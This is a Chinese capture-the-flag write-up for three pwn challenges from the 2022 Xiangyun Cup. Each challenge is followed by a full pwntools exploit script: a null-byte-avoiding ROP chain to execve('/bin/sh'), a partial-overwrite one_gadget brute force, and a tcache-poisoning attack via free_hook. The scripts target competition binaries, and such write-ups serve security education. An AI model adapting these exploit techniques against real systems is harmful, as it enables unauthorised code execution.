2022祥云杯部分pwn题...

【pwn】2022 祥云杯 部分wp

前言

又是一年的祥云杯,相比去年我啥也不会写,今年起码写了几个签到...

又被队友带飞咯

protool

Google的Protobuf,参考学习连接 https://bbs.pediy.com/thread-270004.htm

发现了栈溢出,protobuf的内容解析后会送到栈里,但是username和password一定要admin

username和password中不能包含"\x00",所以rop的话,得考虑绕过"\x00"

因为是while 1,所以可以每次输入错误的username和password进行一次写栈,但是注意到不能携带\x00,所以需要从下向上写rop链,protobuf转化的时候会在最后给上一个\x00,这样开源每次从后往前少写一个字节,这样最后一个字节就被覆盖成了\x00

最后倒着写一个execve("/bin/sh\x00",0,0)就可以get shell了

from pwntools import *
from ctf_pb2 import *

init("./protocol")

ret = 0x000000000040101A
pop_rax_ret = 0x00000000005bdb8a
pop_rdi_ret = 0x0000000000404982
pop_rsi_ret = 0x0000000000588BBE
pop_rdx_ret = 0x000000000040454F
pop_rcx_ret = 0x0000000000475DA3
syscall = 0x0000000000403C99
write_addr = 0x5A2E70
read_addr = 0x5A2F10
rw_addr = 0x81A400
bss = 0x81A360



'''
b *0x407743
payload = flat([
    pop_rdi_ret,"/bin/sh\x00",
    pop_rsi_ret, 0,
    pop_rdx_ret, 0,
    pop_rax_ret, 59,
    syscall
])
'''

def write(payload):
    p = pwn()
    p.username = b"admin"
    p.password = payload
    sd = p.SerializeToString()
    sa("Login:", sd)
    time.sleep(0.2)

write(b"b"*0x248 + b"b"*8*8 + p8(0x99) +p8(0x3c)+ p8(0x40))    # syscall = 0x0000000000403C99

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*8-i)) 
write(b"b"*0x248 + b"b"*8*7 + p8(59))                        # 59

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*7-i)) 
write(b"b"*0x248 + b"b"*8*6 + p8(0x8a) +p8(0xdb)+ p8(0x5b))    # pop_rax_ret = 0x00000000005bdb8a

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*6-i)) 
write(b"b"*0x248 + b"b"*8*5)                                   # 0

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*5-i)) 
write(b"b"*0x248 + b"b"*8*4 + p8(0xbe) + p8(0x8b) + p8(0x58))  # pop_rsi_ret = 0x0000000000588BBE

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*4-i)) 
write(b"b"*0x248 + b"b"*8*3)                                   # 0

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*3-i)) 
write(b"b"*0x248 + b"b"*8*2 + p8(0x4f) + p8(0x45) + p8(0x40))  # pop_rdx_ret = 0x000000000040454F

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*2-i)) 
write(b"b"*0x248 + b"b"*8*1 + p8(0x6f) + p8(0xa3) + p8(0x81))  # binsh = 0x81a36f

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*1-i)) 
write(b"b"*0x248 + p8(0x82) + p8(0x49) + p8(0x40))   # pop_rdi_ret = 0x0000000000404982

p = pwn()
p.username = b"admin"
p.password = b"admin"
sd = p.SerializeToString()
# dbg()
# time.sleep(5)
sa("Login:", sd + b"\x00" + b"/bin/sh\x00")



ia()

01fcd7e2-39fa-4c23-8e7d-0c609c4b1139

unexploitable

第一次返回复写成0x7d1的位置,跳过push rbp,这样调解栈帧可以让下次的ret address成为0x7f开头的libc_start_main+231的位置,之后就是爆破两字节复写one_gadget,使用0xfc结尾的符合shell要求

from pwntools import *


init("./unexploitable")

def pwn():
    s(b"\x00"*0x18 + p8(0xd1) + p8(0x07))
    # dbg()
    # time.sleep(5)
    s(b"\x00"*0x18 + p8(0xfc) + p8(0x12) + p8(0x34))
    sl("ls")
    tmp = pwnio.io.recv(1,timeout=1)
    print(tmp)
    if not tmp or tmp==b'*':
        raise
    ia()
    
hack(pwn,cls=False)
# pwn()

脸黑,和队友开了两个靶机爆破了两天...队友脸白,穿了

13197d42-13fd-489d-a5e3-c06cb38f99e9

bitheap

Off by one bit,edit的时候会多写一位,可以把1改为0

img

本题的难点在于content的部分需要使用二进制形式表示

改一个used位1为0,构造一个unsorted bin,切割这个unsorted bin,修改堆块中之前布置好的freed tecache,修改tecache的fd为free_hook,申请到free_hook,改为system,最后free("/bin/sh")获取shell

from pwntools import *

init("./bitheap")

# context.log_level = "debug"
cmd = lambda idx: sla("Your choice: ", str(idx))

def add(idx, size):
    cmd(1)
    sla("Index:", str(idx))
    sla("Size:", str(size))
    
def edit(idx, content):
    cmd(2)
    sla("Index:", str(idx))
    sa("Content:", content)

def show(idx):
    cmd(3)
    sla("Index:", str(idx))

def free(idx):
    cmd(4)
    sla("Index", str(idx))
    

add(0,0x80)
add(1,0x18)
add(2,0xf0)
add(3,0x18)

for i in range(7): 
    add(i+4,0x80)
for i in range(7): 
    free(i+4) 
    add(i+4,0xf0) 
for i in range(7): 
    free(i+4)
    
free(0)
edit(1, bin(0xffffffff)[2:][::-1]*2*2 + bin(0xb0)[2:].rjust(64,"0")[::-1] + "0")
free(1)
free(2)

add(0, 0xb0)
show(0)

cnt = l64()
info("cnt", cnt)
pwnio.libc.address = cnt - (0x7f382b625e40-0x7f382b23a000)
info("libc_addr", pwnio.libc.address)

free_hook = pwnio.libc.sym["__free_hook"]
ogs = [0x4f2a5,0x4f302, 0x10a2fc]
ogs = [x + pwnio.libc.address for x in ogs]
system_addr = pwnio.libc.sym["system"]


edit(0,bin(0xffffffff)[2:][::-1]*2*2*8+bin(0xffffffff)[2:][::-1]*2 + bin(0x20)[2:].rjust(64,"0")[::-1] + bin(free_hook).rjust(64,"0")[::-1] )

add(1,0x18)

add(2,0x18)
edit(2,bin(system_addr)[2:].rjust(64,"0")[::-1])


edit(1,bin(0x68732f6e69622f).rjust(64,"0")[::-1])
# dbg()
free(1)


ia()

726a96d3-2403-40ce-bbe4-d33b0cfa1b09